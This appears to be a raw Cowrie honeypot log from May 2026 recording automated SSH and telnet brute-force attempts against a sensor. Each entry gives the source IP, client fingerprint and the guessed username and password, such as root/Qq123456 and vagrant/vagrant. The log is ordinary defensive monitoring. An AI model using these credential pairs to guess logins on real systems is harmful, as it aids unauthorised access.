{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":41194,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee306bd0135","protocol":"ssh","message":"New connection: 202.29.225.206:41194 (159.203.135.109:22) [session: 9ee306bd0135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:39.299788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:39.304378Z","src_ip":"202.29.225.206","session":"9ee306bd0135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:39.549107Z","src_ip":"202.29.225.206","session":"9ee306bd0135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:40.558897Z","src_ip":"202.29.225.206","session":"9ee306bd0135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:41.803744Z","src_ip":"202.29.225.206","session":"9ee306bd0135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":55736,"dst_ip":"159.203.135.109","dst_port":22,"session":"30981e8fae19","protocol":"ssh","message":"New connection: 186.116.56.108:55736 (159.203.135.109:22) [session: 30981e8fae19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:52.959865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:52.967642Z","src_ip":"186.116.56.108","session":"30981e8fae19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:53.060277Z","src_ip":"186.116.56.108","session":"30981e8fae19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trish","message":"login attempt [root/trish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:53.454933Z","src_ip":"186.116.56.108","session":"30981e8fae19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:33:54.549697Z","src_ip":"186.116.56.108","session":"30981e8fae19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":58208,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f217fcda78","protocol":"ssh","message":"New connection: 205.209.121.72:58208 (10.17.0.5:22) [session: b6f217fcda78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:08.924699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:08.929213Z","src_ip":"205.209.121.72","session":"b6f217fcda78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:08.934283Z","src_ip":"205.209.121.72","session":"b6f217fcda78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"none123","message":"login attempt [root/none123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:08.988372Z","src_ip":"205.209.121.72","session":"b6f217fcda78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:09.998076Z","src_ip":"205.209.121.72","session":"b6f217fcda78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59604,"dst_ip":"10.17.0.5","dst_port":22,"session":"727fdb67147d","protocol":"ssh","message":"New connection: 43.163.119.215:59604 (10.17.0.5:22) [session: 727fdb67147d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:21.759166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:21.767699Z","src_ip":"43.163.119.215","session":"727fdb67147d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:21.999726Z","src_ip":"43.163.119.215","session":"727fdb67147d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:22.689370Z","src_ip":"43.163.119.215","session":"727fdb67147d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:23.921129Z","src_ip":"43.163.119.215","session":"727fdb67147d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":51092,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d5de31024f9","protocol":"ssh","message":"New connection: 163.7.9.84:51092 (10.17.0.5:22) [session: 9d5de31024f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:49.309018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:49.314084Z","src_ip":"163.7.9.84","session":"9d5de31024f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:49.572831Z","src_ip":"163.7.9.84","session":"9d5de31024f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd","message":"login attempt [root/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:50.636726Z","src_ip":"163.7.9.84","session":"9d5de31024f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":36230,"dst_ip":"10.17.0.5","dst_port":22,"session":"84777e7c41db","protocol":"ssh","message":"New connection: 67.102.183.113:36230 (10.17.0.5:22) [session: 84777e7c41db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:51.150974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:51.158477Z","src_ip":"67.102.183.113","session":"84777e7c41db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:51.228576Z","src_ip":"67.102.183.113","session":"84777e7c41db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gdm","message":"login attempt [root/gdm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:51.542092Z","src_ip":"67.102.183.113","session":"84777e7c41db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:51.896265Z","src_ip":"163.7.9.84","session":"9d5de31024f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:52.614762Z","src_ip":"67.102.183.113","session":"84777e7c41db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.218.15.147","src_port":60895,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cdf820b5f5","protocol":"telnet","message":"New connection: 91.218.15.147:60895 (10.17.0.5:23) [session: 02cdf820b5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:34:58.002267Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fba6719c71","protocol":"ssh","message":"New connection: 202.29.225.206:38532 (159.203.135.109:22) [session: d0fba6719c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:03.778515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:03.784527Z","src_ip":"202.29.225.206","session":"d0fba6719c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:04.032606Z","src_ip":"202.29.225.206","session":"d0fba6719c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2064","message":"login attempt [root/2064] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:05.038391Z","src_ip":"202.29.225.206","session":"d0fba6719c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:06.285496Z","src_ip":"202.29.225.206","session":"d0fba6719c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":39714,"dst_ip":"10.17.0.5","dst_port":22,"session":"f304abaf67e9","protocol":"ssh","message":"New connection: 124.121.31.17:39714 (10.17.0.5:22) [session: f304abaf67e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:07.933478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:07.938560Z","src_ip":"124.121.31.17","session":"f304abaf67e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:08.208602Z","src_ip":"124.121.31.17","session":"f304abaf67e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:09.317611Z","src_ip":"124.121.31.17","session":"f304abaf67e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.303106307983398,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:10.305241Z","src_ip":"91.218.15.147","session":"02cdf820b5f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:10.589774Z","src_ip":"124.121.31.17","session":"f304abaf67e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"923218c94063","protocol":"ssh","message":"New connection: 186.116.56.108:54544 (159.203.135.109:22) [session: 923218c94063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:20.187302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:20.192424Z","src_ip":"186.116.56.108","session":"923218c94063","protocol":"ssh"}
